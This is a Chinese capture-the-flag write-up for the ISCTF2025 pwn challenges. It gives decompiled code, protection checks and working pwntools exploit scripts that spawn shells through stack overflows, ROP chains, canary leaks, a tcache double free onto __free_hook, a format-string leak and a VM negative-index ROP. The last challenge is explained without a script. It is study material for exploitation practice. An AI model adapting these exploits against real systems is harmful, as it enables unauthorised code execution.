ISCTF2025 PWN
sign
__int64 __fastcall main (int a1, char **a2, char **a3) { _DWORD buf[38 ]; unsigned __int64 v5; v5 = __readfsqword(0x28u ); memset (buf, 0 , 140 ); setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); setbuf(stderr , 0LL ); puts ("do you like blueshark?" ); if ( read(0 , buf, 0x3E8u LL) <= 0 ) { puts ("" ); } else { printf ("data.arr[2] = 0x%x\n" , buf[27 ]); if ( buf[27 ] == 0xADDAAAAA ) { puts ("blueshark likes you too!" ); system("/bin/sh" ); } else { puts ("no love anymore..." ); } } return 0LL ; }
简单的溢出覆盖即可getshell
p=start() p.recvuntil(b"do you like blueshark?\n" ) payload=b"a" *0x6c +p64(0xADDAAAAA ) p.send(payload) p.interactive()
ret2rop
int __fastcall main (int argc, const char **argv, const char **envp) { char str[10 ]; memset (str, 0 , sizeof (str)); init(); puts ("if you want to watch demo" ); __isoc99_scanf("%10s" , str); getchar(); if ( !strcmp (str, "yes" ) ) demo(); puts ("now solve this pratice" ); vuln(); return 0 ; }
进入vuln
void __cdecl vuln () { $F60773D3744C13F48A6AC74423E18A6D frame; ssize_t n; ssize_t i; puts ("please int your name" ); read(0 , name, 0x10u LL); puts ("please introduce yourself" ); getRandom(frame.mask, 32LL ); n = read(0 , &frame, 0x100u LL); if ( n > 0 ) { for ( i = 0LL ; i < n; ++i ) frame.buf[i] ^= frame.mask[i]; } }
~/ISCTF/ret2rop checksec ./pwn [*] '/home/ubuntu/ISCTF/ret2rop/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No Debuginfo: Yes
给了很多gadget,有后门system、pop rsi、mov rdi, rsi等等
name在bss段上
有个坑点就是虽然给了/bin/sh但是不能用,后面有一个”,只能使用bss段上写入/bin/sh00来利用了
.rodata:00000000004020D0 ; const char s[] .rodata:00000000004020D0 s db 1Bh,'[32m>>> Success: Entered target function (simulated system("/' .rodata:00000000004020D0 ; DATA XREF: gadget_call_target+20↑o .rodata:000000000040210E db 'bin/sh"))',1Bh,'[0m',0 .rodata:000000000040211C align 20h
这个异或也是挺有意思的
00000000 struct $F60773D3744C13F48A6AC74423E18A6D // sizeof=0x40 00000000 { // XREF: vuln/r 00000000 char buf[32]; 00000020 char mask[32]; // XREF: vuln+82/o 00000040 };
也就是说后面的与前面的异或后填到前面,只需用0异或就可以保证不变
可以用pop rsi + addr(/bin/sh) + mov rdi, rsi + call system,但是实际上发现system没有16位对齐,要加一个retn
这样就是5个p64了,但是异或是隔4个p64
p64(0) + p64(0) + p64(0) + p64(0) + retn + pop rsi + addr(/bin/sh\x00) + mov rdi, rsi + call system
会变成
retn + pop rsi + addr(/bin/sh\x00) + mov rdi, rsi + call system^retn
异或是可逆的,只用将call system 改为 call system^retn 就行了
p=start() orig_binsh_addr=0x40210d input_binsh_addr=0x4040f0 system_addr=0x401A39 mov_rdi_addr=0x401A25 pop_rsi_addr=0x401A1C retn_addr=0x401C15 p.recvuntil(b"if you want to watch demo\n" ) p.sendline(b"no" ) p.recvuntil(b"please int your name\n" ) p.send(b"/bin/sh\x00" ) p.recvuntil(b"please introduce yourself\n" ) payload=p64(0 )*(11 +4 )+p64(retn_addr)+p64(pop_rsi_addr)+p64(input_binsh_addr)+p64(mov_rdi_addr)+p64(0x62c )+p64(0 )*8 p.send(payload) p.interactive()
ez2048
保护详情
~/ISCTF/ez2048 checksec ./pwn [*] '/home/ubuntu/ISCTF/ez2048/pwn' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
int __fastcall main (int argc, const char **argv, const char **envp) { char n81; char dest[72 ]; unsigned __int64 v6; v6 = __readfsqword(0x28u ); score = 50 ; init(argc, argv, envp); printf ("Welcome to ISCTF2025\ninput your name\n>" ); read(0 , buf, 0x32u LL); buf[strcspn (buf, "\n" )] = 0 ; strcpy (dest, "Hello," ); strcat (dest, buf); strcpy (buf, dest); printf ("%s,I won't give you the shell until you get 100,000 points,Press \"Enter\" to start the game" , buf); getchar(); while ( 1 ) { playgame(); printf ("Enter \"Q\" to settle and exit. Enter any other characters to start a new round\n>" ); getchar(); n81 = getchar(); if ( n81 == 81 || n81 == 113 ) break ; getchar(); } final(); return 0 ; }
playgame没有什么漏洞
__int64 playgame () { unsigned int seed; char v2; _BYTE v3[64 ]; char v4; unsigned __int64 v5; v5 = __readfsqword(0x28u ); seed = time(0LL ); srand(seed); init_game(v3); while ( 1 ) { draw_game(v3); if ( v4 ) break ; switch ( (unsigned __int8)get_user_input() ) { case 'a' : v2 = move_left(v3); goto LABEL_10; case 'd' : v2 = move_right(v3); goto LABEL_10; case 'q' : puts ("\ngame over!" ); score -= 10 ; printf ("your score:%d\n" , score); return 0LL ; case 's' : v2 = move_down(v3); goto LABEL_10; case 'w' : v2 = move_up(v3); LABEL_10: if ( v2 ) { spawn_new_number(v3); v4 = check_game_over(v3); } break ; default : continue ; } } getchar(); return 0LL ; }
主要的漏洞出在final
__int64 final () { puts ("checking your score..." ); sleep(1u ); printf ("your score:%u\ntarget score:100000\n" , score); sleep(1u ); if ( (unsigned int )score <= 0x1869F ) { puts ("Your score doesn't meet the target,so you are not suitable for the flag yet..." ); } else { puts ("here is your shell" ); sleep(1u ); shell(); } sleep(1u ); return 0LL ; }
将一个int的类型转换为unsigned int,这样就可以利用playgame的q反复扣除分数到负数,这样比较时就把score当作了一个很大的正数,经典的漏洞了
再来看shell
__int64 shell () { int v1; _QWORD buf[18 ]; buf[17 ] = __readfsqword(0x28u ); getchar(); while ( 1 ) { while ( 1 ) { memset (buf, 0 , 128 ); printf ("$ " ); v1 = read(0 , buf, 0x128u LL); if ( v1 >= 0 ) break ; perror("read error" ); } if ( v1 > 0 && *((_BYTE *)buf + v1 - 1 ) == 10 ) *((_BYTE *)buf + v1 - 1 ) = 0 ; printf ("executing command: " ); puts ((const char *)buf); sleep(1u ); if ( !strcmp ((const char *)buf, "exit" ) ) break ; if ( !strcmp ((const char *)buf, "ls" ) ) system((const char *)buf); else printf ("command not found: %s\n" , (const char *)buf); } return 0LL ; }
第一眼看到的是只能执行对应命令,而不是任意命令,第二眼却发现这个函数有栈溢出
可以利用溢出泄露出canary,使用一字节覆盖canary的,这样就可以打印出canary的其他部分
这题还给了gadget,所以得到canary后,利用ret2text很容易就可以getshell
一样是可以在一开始的buf中写入/bin/sh
.bss:0000000000404A40 ; char buf[56] .bss:0000000000404A40 buf db 38h dup(?) ; DATA XREF: main+48↑o .bss:0000000000404A40 ; main+66↑o ... .bss:0000000000404A40 _bss ends .bss:0000000000404A40
exp如下
p=start() pop_rdi_addr=0x40133E call_system_addr=0x401514 p.recvuntil(b"Welcome to ISCTF2025\ninput your name\n>" ) p.send(b"/bin/sh\x00\x00" ) p.recvuntil(b"Press \"Enter\" to start the game" ) p.send(b"\n" ) for i in range (5 ): sleep(0.1 ) p.send(b"q\n" ) p.recvuntil(b"Enter any other characters to start a new round\n>" ) p.send(b"a\n" ) sleep(0.1 ) p.send(b"q\n" ) p.recvuntil(b"Enter any other characters to start a new round\n>" ) p.send(b"Q\n" ) p.recvuntil(b"$ " ) payload0=b"a" *0x89 p.send(payload0) p.recvuntil(b"a" *0x89 ) canary_leak = p.recvn(7 ) canary_bytes = b'\x00' +canary_leak canary = u64(canary_bytes) log.success(f"完整 canary(8 字节): 0x{canary:016x} " ) payload=b"exit\x00\x00\x00\x00" +b"\x00" *0x80 +p64(canary)+p64(0 )+p64(pop_rdi_addr)+p64(0x404A46 )+p64(call_system_addr) p.send(payload) p.interactive()
ez_tcache_attachment
一道堆题,保护如下
~/ISCTF/ez_tcache_attachment checksec ./pwn [*] '/home/ubuntu/ISCTF/ez_tcache_attachment/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'./glibc' Stripped: No
经典菜单
int __fastcall __noreturn main (int argc, const char **argv, const char **envp) { unsigned int n2; inital(argc, argv, envp); welcome(); while ( 1 ) { while ( 1 ) { menu(); n2 = get_int(); if ( n2 != 2 ) break ; delete(); } if ( n2 > 2 ) { if ( n2 == 3 ) { show(); } else { if ( n2 == 4 ) exit (0 ); LABEL_13: puts ("Invalid choice!" ); } } else { if ( n2 != 1 ) goto LABEL_13; add(); } } }
没什么好说的,只有UAF,没有edit函数
int add () { _BYTE *n10; unsigned int i_1; unsigned int i; unsigned int size; int size_4; i_1 = -1 ; for ( i = 0 ; i <= 0x15 ; ++i ) { if ( !nodes[i] ) { i_1 = i; break ; } } if ( i_1 == -1 ) { LODWORD(n10) = puts ("Out of space!" ); } else { printf ("Size: " ); size = get_int(); if ( size <= 0x400 ) { nodes[i_1] = malloc (size); printf ("Content: " ); size_4 = read_n(nodes[i_1], size); LODWORD(n10) = *(unsigned __int8 *)((unsigned int )(size_4 - 1 ) + nodes[i_1]); if ( (_BYTE)n10 == 10 ) { n10 = (_BYTE *)((unsigned int )(size_4 - 1 ) + nodes[i_1]); *n10 = 0 ; } } else { LODWORD(n10) = puts ("Invalid size!" ); } } return (int )n10; }
void delete () { unsigned int n0x15; printf ("Index: " ); n0x15 = get_int(); if ( n0x15 <= 0x15 && nodes[n0x15] ) free ((void *)nodes[n0x15]); else puts ("Invalid index!" ); }
int show () { unsigned int n0x15; printf ("Index: " ); n0x15 = get_int(); if ( n0x15 <= 0x15 && nodes[n0x15] ) return printf ("Content: %s\n" , (const char *)nodes[n0x15]); else return puts ("Invalid index!" ); }
glibc版本是2.29,在libc中有检查
#if USE_TCACHE { size_t tc_idx = csize2tidx (size); if (tcache != NULL && tc_idx < mp_.tcache_bins) { tcache_entry *e = (tcache_entry *) chunk2mem (p); if (__glibc_unlikely (e->key == tcache)) { tcache_entry *tmp; LIBC_PROBE (memory_tcache_double_free, 2 , e, tc_idx); for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next) if (tmp == e) malloc_printerr ("free(): double free detected in tcache 2" ); } if (tcache->counts[tc_idx] < mp_.tcache_count) { tcache_put (p, tc_idx); return ; } } } #endif
最开始就是想打__free_hook,写ogg,但是好像不行,只能用system了
先将tcache填满在放一个到unsortedbin中利用UAF得到libc基址
要在没有edit的情况下修改透过tcache检查进行double free,再进行修改tcache的fd指向__free_hook,申请出来写入system,再free掉一个写着/bin/sh00的堆就可以实现了,这就是最朴素的想法
如何修改fd呢?
我这里利用了前向合并,产生堆块堆叠,合并后再申请回来时写入fd,这样就可以绕过检查,而且可以将物理相邻的下一个堆块的prev_inuse设为1,这样就可以double free了,不过再次之前先从tcache取出一个让double free的堆块进人tcache
注意这里还是有堆块重叠,再将合并的堆块释放,再申请回来,将double free的堆块的fd改为指向`__free_hook,申请两次就可以得到__free_hook所在地址的堆块了,后面就简单了
def add (idx,size, data=b'' ): p.sendlineafter(b'Your choice: ' , b'1' ) p.sendlineafter(b'Size: ' , str (size)) p.sendlineafter(b'Content: ' , data) def delete (idx ): p.sendlineafter(b'Your choice: ' , b'2' ) p.sendlineafter(b'Index: ' , str (idx)) def show (idx ): p.sendlineafter(b'Your choice: ' , b'3' ) p.sendlineafter(b'Index: ' , str (idx)) p=start() add(0 ,0x80 ,b'b' *0x10 ) add(1 ,0x80 ,b'A' *0x10 ) add(2 ,0x80 ,b'b' *0x10 ) add(3 ,0x80 ,b'b' *0x10 ) add(4 ,0x20 ,b'B' *0x10 ) add(5 ,0x80 ,b'A' *0x10 ) add(6 ,0x80 ,b'A' *0x10 ) add(7 ,0x80 ,b'A' *0x10 ) add(8 ,0x80 ,b'A' *0x10 ) add(9 ,0x80 ,b'A' *0x10 ) add(10 ,0x80 ,b'A' *0x10 ) add(11 ,0x80 ,b'A' *0x10 ) delete(5 ) delete(6 ) delete(7 ) delete(8 ) delete(9 ) delete(10 ) delete(11 ) delete(1 ) show(1 ) main_arena_addr = u64(p.recvuntil(b'\n' , drop=True )[-6 :].ljust(8 , b'\x00' )) log.success(f"main_arena_addr: {hex (main_arena_addr)} " ) libc_base = main_arena_addr - 0x1e4ca0 log.success(f"libc_base: {hex (libc_base)} " ) free_hook_addr = libc_base + libc.sym['__free_hook' ] system_addr = libc_base + libc.sym['system' ] log.success(f"__free_hook: {hex (free_hook_addr)} " ) log.success(f"system: {hex (system_addr)} " ) ogg_addr=libc_base+0x106ef8 delete(0 ) delete(2 ) add(12 ,0x110 ,b'B' *0x80 +p64(0 )+p64(0x91 )+p64(free_hook_addr)*2 ) add(13 ,0x80 ,p64(free_hook_addr)*2 ) delete(1 ) delete(12 ) add(14 ,0x110 ,b'B' *0x80 +p64(0 )+p64(0x91 )+p64(free_hook_addr)*2 ) add(15 ,0x80 ,b"/bin/sh\x00" ) add(16 ,0x80 ,p64(system_addr)) delete(15 ) p.interactive()
ez_fmt
保护如下
~/ISCTF/ez_fmt checksec ./pwn [*] '/home/ubuntu/ISCTF/ez_fmt/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No
int __fastcall main (int argc, const char **argv, const char **envp) { setbuf(stdin , 0LL ); setbuf(_bss_start, 0LL ); setbuf(stderr , 0LL ); vuln(); return 0 ; }
unsigned __int64 vuln () { char buf[136 ]; unsigned __int64 v2; v2 = __readfsqword(0x28u ); puts ("Welcome to ISCTF!" ); printf ("1st input: " ); read(0 , buf, 0x100u LL); printf (buf); puts ("\n[leak end]\n" ); printf ("2nd input: " ); read(0 , buf, 0x200u LL); puts ("Goodbye!" ); return v2 - __readfsqword(0x28u ); }
有后门函数,一个简单的ret2text
利用格式化字符串漏洞泄露出canary和elf基址就可以写rop链了
p=start() p.recvuntil(b"1st input: " ) payload1=b"%23$pa%25$p" p.send(payload1) p.recvuntil(b"0x" ) canary=int (p.recv(16 ),16 ) log.success(hex (canary)) p.recvuntil(b"a" ) p.recvuntil(b"0x" ) elf_addr=int (p.recv(12 ),16 )-97 -0x12FA log.success(hex (elf_addr)) p.recvuntil(b"2nd input: " ) win_addr=elf_addr+0x1202 payload2=b"a" *0x88 +p64(canary)+p64(0 )+p64(win_addr) p.send(payload2) p.interactive()
my_vm
第一次写vm题,保护如下
~/ISCTF/my_vm checksec ./pwn [*] '/home/ubuntu/ISCTF/my_vm/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Stripped: No
开了沙箱
~/ISCTF/my_vm seccomp-tools dump ./pwn line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007 0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007 0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0007: 0x06 0x00 0x00 0x00000000 return KILL
函数如下
int __fastcall main (int argc, const char **argv, const char **envp) { int v3; int v4; int v6; __int64 v7; void *ptr; _QWORD v9[514 ]; v9[513 ] = __readfsqword(0x28u ); v6 = 0 ; init(argc, argv, envp); while ( 1 ) { __isoc99_scanf("%ld" , &v7); ptr = (void *)ret_code(v7); switch ( *(_WORD *)ptr ) { case 0 : reg[*((__int16 *)ptr + 1 )] = reg[*((__int16 *)ptr + 3 )] + reg[*((__int16 *)ptr + 2 )]; break ; case 1 : reg[*((__int16 *)ptr + 1 )] = reg[*((__int16 *)ptr + 2 )] - reg[*((__int16 *)ptr + 3 )]; break ; case 2 : reg[*((__int16 *)ptr + 1 )] = reg[*((__int16 *)ptr + 2 )] * reg[*((__int16 *)ptr + 3 )]; break ; case 3 : reg[*((__int16 *)ptr + 1 )] = reg[*((__int16 *)ptr + 2 )] / reg[*((__int16 *)ptr + 3 )]; break ; case 4 : reg[*((__int16 *)ptr + 1 )] = reg[*((__int16 *)ptr + 2 )] << reg[*((__int16 *)ptr + 3 )]; break ; case 5 : reg[*((__int16 *)ptr + 1 )] = reg[*((__int16 *)ptr + 2 )] >> reg[*((__int16 *)ptr + 3 )]; break ; case 6 : reg[*((__int16 *)ptr + 1 )] = reg[*((__int16 *)ptr + 3 )] ^ reg[*((__int16 *)ptr + 2 )]; break ; case 7 : v3 = v6++; v9[v3] = reg[*((__int16 *)ptr + 1 )]; break ; case 8 : if ( !v6 ) exit (0 ); v4 = v6--; reg[*((__int16 *)ptr + 1 )] = v9[v4]; break ; default : break ; } if ( *(_WORD *)ptr == 9 ) return 0 ; free (ptr); ptr = 0LL ; } }
_WORD *__fastcall ret_code (__int64 a1) { __int64 v2; char *v3; _WORD *v4; v2 = a1; v3 = (char *)&v2; v4 = malloc (8uLL ); *v4 = *v3; v4[1 ] = v3[1 ]; v4[2 ] = v3[2 ]; v4[3 ] = v3[3 ]; return v4; }
简单来说就是如果是输入0x04030201,就是01是操作码,在这个程序指相减,02指存储位置是reg[2],03和04指进行运算的位置为reg[3]、reg[4]
一般来说,虚拟寄存器都在bss段上,而且数组索引可以是负数,这样就可以使用负索引泄露libc地址
.bss:0000000000202020 ; =========================================================================== .bss:0000000000202020 .bss:0000000000202020 ; Segment type: Uninitialized .bss:0000000000202020 ; Segment permissions: Read/Write .bss:0000000000202020 _bss segment align_32 public 'BSS' use64 .bss:0000000000202020 assume cs:_bss .bss:0000000000202020 ;org 202020 h .bss:0000000000202020 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing .bss:0000000000202020 public stdout @@GLIBC_2_2_5 .bss:0000000000202020 ; FILE *stdout .bss:0000000000202020 stdout @@GLIBC_2_2_5 dq ? ; DATA XREF: init+4 ↑r .bss:0000000000202020 ; LOAD:0000000000203198 ↓o .bss:0000000000202020 ; Alternative name is 'stdout' .bss:0000000000202020 ; Copy of shared data .bss:0000000000202028 align 10 h .bss:0000000000202030 public stdin @@GLIBC_2_2_5 .bss:0000000000202030 ; FILE *stdin .bss:0000000000202030 stdin @@GLIBC_2_2_5 dq ? ; DATA XREF: init+22 ↑r .bss:0000000000202030 ; LOAD:00000000002031E0 ↓o .bss:0000000000202030 ; Alternative name is 'stdin' .bss:0000000000202030 ; Copy of shared data .bss:0000000000202038 align 20 h .bss:0000000000202040 public stderr @@GLIBC_2_2_5 .bss:0000000000202040 ; FILE *stderr .bss:0000000000202040 stderr @@GLIBC_2_2_5 dq ? ; DATA XREF: init+40 ↑r .bss:0000000000202040 ; LOAD:0000000000203228 ↓o .bss:0000000000202040 ; Alternative name is 'stderr' .bss:0000000000202040 ; Copy of shared data .bss:0000000000202048 completed_7698 db ? ; DATA XREF: __do_global_dtors_aux↑r .bss:0000000000202048 ; __do_global_dtors_aux+28 ↑w .bss:0000000000202049 align 20 h .bss:0000000000202060 public reg .bss:0000000000202060 ; __int64 reg[16 ] .bss:0000000000202060 reg dq 10 h dup (?) ; DATA XREF: main+AC↑o .bss:0000000000202060 ; main+CD↑o ... .bss:0000000000202060 _bss ends .bss:0000000000202060
在虚拟寄存器中计算好偏移并构造地址,使用push将地址放入栈中,这样就可以构造rop链
值得注意的是,当栈上的索引v6刚好指向canary时,可以使用pop将canary放入reg中,后面再用reg的canary使用push到原来的栈上的canary,这样就不会破坏canary,可以绕过canary保护
def crun (content ): p.sendline(str (content).encode()) sleep(0.01 ) def add (times ): crun(0x10e0700 ) for i in range (times): crun(0x2070702 ) crun(0x7080800 ) p=start() for i in range (513 ): crun(0xa07 ) crun(0xb08 ) crun(0xa07 ) crun(0xb07 ) crun(0xa07 ) crun(0x1f00001 ) crun(0x103 ) crun(0x1010204 ) crun(0x1020304 ) crun(0x1030404 ) crun(0x2030504 ) crun(0x2040600 ) crun(0x6010704 ) crun(0x1070805 ) crun(0x7080700 ) crun(0x3010804 ) crun(0x1080804 ) crun(0x7080700 ) crun(0x7030700 ) crun(0x7010700 ) crun(0x7000700 ) crun(0x707 ) crun(0x9f50900 ) crun(0x4050602 ) crun(0x6050600 ) crun(0x6050600 ) crun(0x6050600 ) crun(0x6040600 ) crun(0x6090600 ) crun(0x607 ) crun(0x8080801 ) add(38 ) add(37 ) add(34 ) add(33 ) add(32 ) add(30 ) add(29 ) add(24 ) add(22 ) add(21 ) add(19 ) add(18 ) add(14 ) add(13 ) add(10 ) add(9 ) add(5 ) add(3 ) add(2 ) add(1 ) crun(0x1080c00 ) crun(0x8080801 ) add(13 ) add(7 ) add(4 ) crun(0x1080800 ) crun(0x8000800 ) crun(0x807 ) crun(0x8080801 ) crun(0x807 ) crun(0x8080801 ) add(19 ) add(18 ) add(17 ) add(15 ) add(13 ) add(10 ) add(9 ) add(8 ) add(5 ) crun(0x8000800 ) crun(0x807 ) crun(0x8080801 ) add(10 ) add(9 ) add(5 ) add(2 ) crun(0x1080800 ) crun(0x8000800 ) crun(0x807 ) crun(0x8080801 ) crun(0x1020800 ) crun(0x807 ) crun(0x8080801 ) add(13 ) add(7 ) add(4 ) crun(0x1080800 ) crun(0x8000800 ) crun(0x807 ) crun(0x8080801 ) crun(0x5050802 ) crun(0x9080800 ) crun(0x807 ) crun(0x8080801 ) add(18 ) add(17 ) add(14 ) add(13 ) add(10 ) add(9 ) add(7 ) add(6 ) add(5 ) add(3 ) crun(0x1080800 ) crun(0x8000800 ) crun(0x807 ) crun(0x8080801 ) crun(0x5050802 ) crun(0x807 ) crun(0x8080801 ) crun(0x807 ) crun(0x8080801 ) add(19 ) add(18 ) add(17 ) add(15 ) add(13 ) add(11 ) add(9 ) add(4 ) crun(0x8000800 ) crun(0x807 ) crun(0x8080801 ) add(10 ) add(9 ) add(5 ) add(2 ) crun(0x1080800 ) crun(0x8000800 ) crun(0x807 ) crun(0x8080801 ) crun(0x1080800 ) crun(0x807 ) crun(0x8080801 ) add(13 ) add(7 ) add(4 ) crun(0x1080800 ) crun(0x8000800 ) crun(0x807 ) crun(0x8080801 ) crun(0x5050802 ) crun(0x9080800 ) crun(0x807 ) crun(0x8080801 ) add(19 ) add(18 ) add(17 ) add(15 ) add(13 ) add(11 ) add(9 ) add(7 ) add(5 ) add(4 ) crun(0x8000800 ) crun(0x807 ) crun(0x9 ) p.interactive()
ez_stack
保护如下
~/ISCTF/ezstack checksec ./pwn [*] '/home/ubuntu/ISCTF/ezstack/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled
函数如下
__int64 __fastcall main (__int64 a1, char **a2, char **a3) { sub_1429(a1, a2, a3); sub_13B3(0LL , 0x114514000L L, 16LL ); sub_150A(); sub_1785(); sub_1637(); return 0LL ; }
unsigned __int64 sub_1429 () { int v1; int i; _BYTE Welcome_to_ISCTF2025_[24 ]; unsigned __int64 v4; v4 = __readfsqword(0x28u ); for ( i = 0 ; i <= 23 ; ++i ) { Welcome_to_ISCTF2025_[i] = 0 ; ++v1; } qmemcpy(Welcome_to_ISCTF2025_, "Welcome to ISCTF2025!" , 21 ); sub_1343(Welcome_to_ISCTF2025_); sub_1149(0x114514000L L, 4096LL , 7LL , 34LL , -1LL , 9LL ); return v4 - __readfsqword(0x28u ); }
__int64 __fastcall sub_13B3 (int a1, __int64 a2, int i_2) { __int64 i_1; unsigned int i; for ( i = 0 ; ; ++i ) { i_1 = i; if ( i == i_2 ) break ; sub_1149(a1, (int )i + a2, 1LL , 0LL , 0LL , 0LL ); i_1 = *(unsigned __int8 *)((int )i + a2); if ( (_BYTE)i_1 == 10 ) break ; } return i_1; }
unsigned __int64 sub_150A () { int v1; int v2; int i; int j; _BYTE NO_SYSTEMCALL_HACK_[24 ]; unsigned __int64 v6; v6 = __readfsqword(0x28u ); v1 = 0 ; for ( i = 0 ; i <= 23 ; ++i ) { NO_SYSTEMCALL_HACK_[i] = 0 ; ++v2; } qmemcpy(NO_SYSTEMCALL_HACK_, "NO SYSTEMCALL HACK!" , 19 ); for ( j = 0 ; j <= 31 ; ++j ) { if ( *(_BYTE *)(j + 0x114514000L L) == 15 && *(_BYTE *)(j + 0x114514001L L) == 5 ) ++v1; if ( v1 > 1 ) { sub_1343((__int64)NO_SYSTEMCALL_HACK_); sub_1149(0LL , 0LL , 0LL , 0LL , 0LL , 60LL ); } } return v6 - __readfsqword(0x28u ); }
unsigned __int64 sub_1785 () { int i; __int64 (__fastcall *main_1)(__int64, char **, char **); __int64 v3; _BYTE DO_YOU_LIKE_GIFT?[24 ]; unsigned __int64 v5; v5 = __readfsqword(0x28u ); main_1 = main; v3 = (__int64)&v3; for ( i = 0 ; i <= 23 ; ++i ) DO_YOU_LIKE_GIFT?[i] = 0 ; qmemcpy(DO_YOU_LIKE_GIFT?, "DO YOU LIKE GIFT?" , 17 ); sub_1343((__int64)DO_YOU_LIKE_GIFT?); sub_1343((__int64)&main_1); sub_1343((__int64)&v3); return v5 - __readfsqword(0x28u ); }
__int64 sub_1637 () { int v1; int i; _BYTE RET_ADDR_ERROR[16 ]; __int64 a2[34 ]; a2[33 ] = __readfsqword(0x28u ); for ( i = 0 ; i <= 15 ; ++i ) { RET_ADDR_ERROR[i] = 0 ; ++v1; } qmemcpy(RET_ADDR_ERROR, "RET ADDR ERROR" , 14 ); sub_13B3(0 , (__int64)a2, 4096 ); return 0LL ; }
几个分支函数是这样的
__int64 __fastcall sub_13B3 (int a1, __int64 a2, int i_2) { __int64 i_1; unsigned int i; for ( i = 0 ; ; ++i ) { i_1 = i; if ( i == i_2 ) break ; sub_1149(a1, (int )i + a2, 1LL , 0LL , 0LL , 0LL ); i_1 = *(unsigned __int8 *)((int )i + a2); if ( (_BYTE)i_1 == 10 ) break ; } return i_1; }
__int64 __fastcall sub_1343 (__int64 a1) { int i; for ( i = 0 ; *(_BYTE *)(i + a1); ++i ) ; sub_1149(1LL , a1, i, 0LL , 0LL , 1LL ); sub_12B2(); return (unsigned int )(i + 1 ); }
unsigned __int64 sub_12B2 () { unsigned __int64 v1; v1 = __readfsqword(0x28u ); sub_1149(); return v1 - __readfsqword(0x28u ); }
可以看见整个题的核心就是sub_1149(),这个控制着syscall
.text:0000000000001149 ; __int64 sub_1149() .text:0000000000001149 sub_1149 proc near ; CODE XREF: sub_117E+3B↓p .text:0000000000001149 ; sub_117E+118↓p ... .text:0000000000001149 .text:0000000000001149 var_30 = qword ptr -30h .text:0000000000001149 var_28 = qword ptr -28h .text:0000000000001149 var_20 = qword ptr -20h .text:0000000000001149 var_18 = qword ptr -18h .text:0000000000001149 var_10 = qword ptr -10h .text:0000000000001149 var_8 = qword ptr -8 .text:0000000000001149 .text:0000000000001149 ; __unwind { .text:0000000000001149 endbr64 .text:000000000000114D push rbp .text:000000000000114E mov rbp, rsp .text:0000000000001151 mov [rbp+var_8], rdi .text:0000000000001155 mov [rbp+var_10], rsi .text:0000000000001159 mov [rbp+var_18], rdx .text:000000000000115D mov [rbp+var_20], rcx .text:0000000000001161 mov [rbp+var_28], r8 .text:0000000000001165 mov [rbp+var_30], r9 .text:0000000000001169 mov rax, r9 .text:000000000000116C mov r10, rcx .text:000000000000116F mov r9, r8 .text:0000000000001172 xor r9, r9 .text:0000000000001175 syscall ; LINUX - .text:0000000000001177 mov eax, 0 .text:000000000000117C pop rbp .text:000000000000117D retn .text:000000000000117D ; } // starts at 1149 .text:000000000000117D sub_1149 endp
逆向下来大致的意思是:
在0x114514000开了一个可读可写可执行空间,可以向里面写0x10的数据,有canary保护
然后可以在栈上写栈溢出,0x1000的长度,没有canary保护
当然我们也得到了函数基地址和栈地址
栈溢出的这一块很奇怪,控制不了返回地址,总是call exit
看了看汇编代码
.text:0000000000001703 lea rax, [rbp+a2] .text:000000000000170A mov edx, 1000h ; i .text:000000000000170F mov rsi, rax ; a2 .text:0000000000001712 mov edi, 0 ; a1 .text:0000000000001717 call sub_13B3 .text:000000000000171C movzx eax, byte ptr [rbp+8] .text:0000000000001720 movsx rax, al .text:0000000000001724 cmp [rbp+var_128], rax .text:000000000000172B jz short loc_1761 .text:000000000000172D lea rax, [rbp+var_120] .text:0000000000001734 mov rdi, rax .text:0000000000001737 call sub_1343 .text:000000000000173C mov r9d, 3Ch ; '<' .text:0000000000001742 mov r8d, 0 .text:0000000000001748 mov ecx, 0 .text:000000000000174D mov edx, 0 .text:0000000000001752 mov esi, 0 .text:0000000000001757 mov edi, 0 .text:000000000000175C call sub_1149 .text:0000000000001761 .text:0000000000001761 loc_1761: ; CODE XREF: sub_1637+F4↑j .text:0000000000001761 xor rax, rax .text:0000000000001764 leave .text:0000000000001765 retn .text:0000000000001765 sub_1637 endp
原来是这一块没有跳转,导致直接将rax=r9d=0x3c,call exit了
关键是这一块
.text:000000000000171C movzx eax, byte ptr [rbp+8] .text:0000000000001720 movsx rax, al .text:0000000000001724 cmp [rbp+var_128], rax .text:000000000000172B jz short loc_1761
要使它成立才行,调试的时候发现[rbp+var_128]是0xffffffffffffff9b
关键就出在movsx rax, al,只要我们的[rbp+8]的byte符号拓展与0xffffffffffffff9b相等就行,也就是返回地址的最后一位要是0x9b
很快就找到了对于返回地址
.text:000000000000189B xor rax, rax .text:000000000000189E leave .text:000000000000189F retn
那我们的思路肯定是利用栈迁移在0x114514000写上shellcode并且返回到shellcode上了
返回到main一开始的sub_13B3,向0x114514000里面写,由于我们返回前已经是控制好了的,是一个比较大的读取数,就不用返回到0x1861,直接返回到0x1866,抬高一点地址可以用push就不会写到非法内存里了,后面的就是和前面的一模一样的,控制好栈迁移就可以了
